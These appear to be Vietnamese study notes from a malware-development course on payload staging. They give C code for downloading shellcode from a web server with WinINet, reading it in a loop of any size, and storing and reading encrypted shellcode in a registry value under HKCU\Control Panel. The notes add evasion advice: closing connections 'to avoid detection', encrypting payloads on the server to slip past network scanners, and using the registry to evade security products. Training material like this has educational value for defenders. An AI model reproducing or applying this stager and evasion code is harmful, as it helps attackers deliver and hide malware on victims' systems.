Web Server

Đôi khi do các giới hạn về kích thước mà chúng ta không thể lưu shellcode trực tiếp ở trong file nhị phân mà chỉ có thể lấy nó từ một web server.

Để lấy shellcode từ web server, ta sẽ dùng các hàm sau của Windows Internet APIs (WinINet):

  1. InternetOpenW - mở một internet session handle để sử dụng các hàm khác của WinINet.
  2. InternetOpenUrlW - mở một handle đến tài nguyên được chỉ định ở trong URL.
  3. InternetReadFile - đọc dữ liệu của một tài nguyên web từ một handle được mở bởi InternetOpenUrlW
  4. InternetCloseHandle - đóng handle.
  5. InternetSetOptionW - thiết lập một internet option.

Opening An Internet Session

Ta sẽ sử dụng hàm InternetOpenW để mở một internet session handle giúp khởi tạo việc sử dụng các hàm khác của WinINet. Nguyên mẫu hàm:

HINTERNET InternetOpenW(
  [in] LPCWSTR lpszAgent,       // NULL
  [in] DWORD   dwAccessType,    // NULL or INTERNET_OPEN_TYPE_PRECONFIG
  [in] LPCWSTR lpszProxy,       // NULL
  [in] LPCWSTR lpszProxyBypass, // NULL
  [in] DWORD   dwFlags          // NULL
);

Tất cả các đối số truyền vào InternetOpenW đều là NULL do đa phần chúng liên quan đến proxy. Ngoài ra, việc truyền NULL vào tham số thứ 2 đồng nghĩa với việc sử dụng cờ INTERNET_OPEN_TYPE_PRECONFIG, giúp chỉ định rằng chúng ta sẽ sử dụng cấu hình hiện tại của hệ thống để xác định thiết lập proxy cho việc kết nối mạng.

// Opening an internet session handle
hInternet = InternetOpenW(NULL, NULL, NULL, NULL, NULL);

Opening a Handle To Payload

Kế đến, sử dụng hàm InternetOpenUrlW để thiết lập một kết nối đến URL của shellcode. Nguyên mẫu hàm:

HINTERNET InternetOpenUrlW(
  [in] HINTERNET hInternet,       // Handle opened by InternetOpenW
  [in] LPCWSTR   lpszUrl,         // The payload's URL
  [in] LPCWSTR   lpszHeaders,     // NULL
  [in] DWORD     dwHeadersLength, // NULL
  [in] DWORD     dwFlags,         // INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  [in] DWORD_PTR dwContext        // NULL
);

Các đối số được truyền vào như sau:

// Opening a handle to the payload's URL
hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin", NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);

Với đối số thứ 5 là INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID dùng để đảm bảo HTTP request có tỷ lệ thành công cao hơn trong trường hợp có lỗi ở phía web server.

Seealso

Reading Data

Để đọc shellcode, ta sẽ sử dụng hàm InternetReadFile có nguyên mẫu như sau:

BOOL InternetReadFile(
  [in]  HINTERNET hFile,                  // Handle opened by InternetOpenUrlW
  [out] LPVOID    lpBuffer,               // Buffer to store the payload
  [in]  DWORD     dwNumberOfBytesToRead,  // The number of bytes to read
  [out] LPDWORD   lpdwNumberOfBytesRead   // Pointer to a variable that receives the number of bytes read
);

Trước khi gọi hàm, ta cần cấp phát vùng nhớ để chứa shellcode và ta sẽ sử dụng hàm LocalAlloc để làm việc đó:

pBytes = (PBYTE)LocalAlloc(LPTR, 272);
InternetReadFile(hInternetFile, pBytes, 272, &dwBytesRead)

Với 272 là kích thước đã biết trước của shellcode.

Closing InternetHandle

Để đóng các handle sau khi shellcode đã được lấy về thành công, ta sẽ sử dụng hàm InternetCloseHandle có nguyên mẫu như sau:

BOOL InternetCloseHandle(
  [in] HINTERNET hInternet // Handle opened by InternetOpenW & InternetOpenUrlW
);

Closing HTTP/S Connections

Hàm InternetCloseHandle của Windows API không đóng các kết nối HTTPS bởi vì nó muốn tái sử dụng các kết nối. Việc đóng kết nối là cần thiết để tránh bị phát hiện. Để giải quyết vấn đề này, ta cần sử dụng hàm InternetSetOptionW có nguyên mẫu như sau:

BOOL InternetSetOptionW(
  [in] HINTERNET hInternet,     // NULL
  [in] DWORD     dwOption,      // INTERNET_OPTION_SETTINGS_CHANGED
  [in] LPVOID    lpBuffer,      // NULL
  [in] DWORD     dwBufferLength // 0
);

Việc gọi hàm InternetSetOptionW với tùy chọn INTERNET_OPTION_SETTINGS_CHANGED sẽ khiến cho hệ thống cập nhật cấu hình internet đã được lưu ở trong bộ nhớ đệm và dẫn đến việc các kết nối được tạo ra cũng sẽ bị đóng.

InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);

Dynamic Payload Size Allocation

Khi kích thước payload là không cố định, ta cần sử dụng InternetReadFile ở trong một vòng lặp và đọc một lượng byte cố định chẳng hạn như 1024-byte. Các byte này sẽ được lưu ở trong một vùng nhớ tạm cũng có kích thước là 1024-byte (pTmpBytes).

// ...
 
PBYTE		pBytes            = NULL,
			pTmpBytes         = NULL;
 
DWORD		dwBytesRead       = NULL;
 
SIZE_T		sSize             = NULL; // Used as the total payload size
 
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL){
	bSTATE = FALSE; goto _EndOfFunction;
}
 
while (TRUE){
 
	if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
		printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	sSize += dwBytesRead;
	
	// In case the total buffer is not allocated yet
	// then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
	if (pBytes == NULL)
		pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
	else
		// Otherwise, reallocate the pBytes to equal to the total size, sSize.
		// This is required in order to fit the whole payload
		pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
 
	if (pBytes == NULL) {
		return FALSE;
	}
	
	memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
	memset(pTmpBytes, '\0', dwBytesRead);
 
	if (dwBytesRead < 1024){
		break;
	}
}
 
// Clean up
InternetCloseHandle(hInternet);
InternetCloseHandle(hInternetFile);
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
LocalFree(pTmpBytes);
LocalFree(pBytes);

Giá trị của pTmpBytes sẽ được sao chép vào sau một vùng nhớ tổng (pBytes) mà sẽ liên tục được tái cấp phát bằng hàm LocalReAlloc. Một khi InternetReadFile đọc được một lượng byte nhỏ hơn 1024, ta sẽ kết thúc vòng lặp.

Important

Trong thực tế, ta nên che giấu hoặc mã hóa shellcode ở trên web server kể cả khi nó được lấy về trong lúc chạy nhằm né tránh cách công cụ quét mạng.

Windows Registry

Chúng ta cũng có thể lưu shellcode vào registry nhằm né tránh sự phát hiện của các security solution. Cụ thể hơn, ta sẽ hiện thực 2 phần:

  1. Mã hóa và ghi shellcode vào registry key.
  2. Đọc registry key và giải mã shellcode.

Ngoài ra, ta cũng sẽ làm quen với khái niệm Conditional Compilation.

Seealso

Về việc mã hóa hoặc giải mã, tham khảo MalDev - Payload Encryption.

Conditional Compilation

Là một cách để chỉ định cho trình biên dịch biết được rằng phần code nào sẽ được biên dịch và phần nào không bằng cách sử dụng #ifdef#endif. Chúng ta sẽ sử dụng kỹ thuật này để biên dịch 2 chương trình khác nhau sử dụng cùng 1 mã nguồn.

Ví dụ:

#define WRITEMODE
 
// Code that will be compiled in both cases
 
// if 'WRITEMODE' is defined 
#ifdef WRITEMODE
	// The code that will be compiled 
	// Code that's needed to write the payload to the Registry
#endif
 
// if 'READMODE' is defined 
#ifdef READMODE
	// Code that will NOT be compiled
#endif

Như vậy, để biên dịch chương trình nhằm ghi registry, ta sẽ thay đổi giá trị #define thành WRITEMODE. Ngược lại, ta sẽ sử dụng READMODE.

Writing To The Registry

Chúng ta sẽ xây dựng hàm WriteShellcodeToRegistry có 2 tham số:

  1. pShellcode: shellcode cần ghi vào registry
  2. dwShellcodeSize: kích thước của shellcode

REGISTRY & REGSTRING

Trước tiên, ta sẽ định nghĩa 2 giá trị:

  • REGISTRY = "Control Panel": đường dẫn đến registry key của Control Panel, có giá trị đầy đủ là Computer\HKEY_CURRENT_USER\Control Panel.

  • REGSTRING = "MalDevAcademy": là tên của giá trị mà ta sẽ tạo ra để lưu shellcode.

// Registry key to read / write
#define     REGISTRY            "Control Panel"
#define     REGSTRING           "MalDevAcademy"

Opening a Handle To The Registry Key

Sử dụng hàm RegOpenKeyExA để mở handle đến registry key. Nguyên mẫu hàm:

LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey, 		    // A handle to an open registry key
  [in, optional] LPCSTR lpSubKey, 	    // The name of the registry subkey to be opened (REGISTRY constant)
  [in]           DWORD  ulOptions, 	    // Specifies the option to apply when opening the key - Set to 0
  [in]           REGSAM samDesired, 	// Access Rights
  [out]          PHKEY  phkResult 	    // A pointer to a variable that receives a handle to the opened key
);

Do cần thay đổi giá trị của registry key, đối số truyền vào tham số thứ tư mà ta sử dụng là cờ KEY_SET_VALUE:

STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);

Seealso

Setting Registry Value

Sau đó, sử dụng hàm RegSetValueExA để tạo một giá trị mới ở trong registry key mà ta vừa mở handle.

Nguyên mẫu hàm:

LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,            // A handle to an open registry key
  [in, optional] LPCSTR     lpValueName,     // The name of the value to be set (REGSTRING constant)
                 DWORD      Reserved,        // Set to 0
  [in]           DWORD      dwType,          // The type of data pointed to by the lpData parameter
  [in]           const BYTE *lpData,         // The data to be stored
  [in]           DWORD      cbData           // The size of the information pointed to by the lpData parameter, in bytes
);

Loại dữ liệu mà ta sử dụng là REG_BINARY do payload là một chuỗi các byte:

STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);

Seealso

Closing Registry Key Handle

Cuối cùng, đóng handlle sử dụng hàm RegCloseKey có nguyên mẫu như sau:

LSTATUS RegCloseKey(
  [in] HKEY hKey // Handle to an open registry key to be closed
);

Reading The Registry

Chúng ta sẽ xây dựng hàm ReadShellcodeFromRegistry để đọc registry và giải mã shellcode dựa trên hàm giải mã được cung cấp bởi HellShell. Hàm này có 2 tham số:

  1. sPayloadSize: kích thước payload mà ta sẽ đọc.
  2. ppPayload: buffer dùng để chứa payload.

Heap Allocation

Trước tiên, ta sẽ cấp phát vùng nhớ để chứa payload đọc từ registry với kích thước là sPayloadSize:

pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);

Read Registry Value

Sau đó, sử dụng hàm RegGetValueA để đọc registry value có chứa shellcode đã bị mã hóa. Hàm này có nguyên mẫu như sau:

LSTATUS RegGetValueA(
  [in]                HKEY    hkey,     // A handle to an open registry key
  [in, optional]      LPCSTR  lpSubKey, // The path of a registry key relative to the key specified by the hkey parameter
  [in, optional]      LPCSTR  lpValue,  // The name of the registry value.
  [in, optional]      DWORD   dwFlags,  // The flags that restrict the data type of value to be queried
  [out, optional]     LPDWORD pdwType,  // A pointer to a variable that receives a code indicating the type of data stored in the specified value
  [out, optional]     PVOID   pvData,   // A pointer to a buffer that receives the value's data
  [in, out, optional] LPDWORD pcbData   // A pointer to a variable that specifies the size of the buffer pointed to by the pvData parameter, in bytes
);

Important

Khi đọc dữ liệu với RegGetValueA, ta không thể đọc dữ liệu theo từng khúc mà chỉ có thể đọc hết 1 lần. Do đó, việc biết trước kích thước cần đọc rất quan trọng.

Tham số thứ 4 được sử dụng để giới hạn kiểu dữ liệu nhưng ta có thể dùng RRF_RT_ANY, đồng nghĩa với bất kỳ dữ liệu nào. Ngoài ra, ta cũng có thể dùng RRF_RT_REG_BINARY vì shellcode của chúng ta được lưu ở dạng nhị phân.

STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
list
from outgoing([[MalDev - Payload Staging]])
sort file.ctime asc

Resources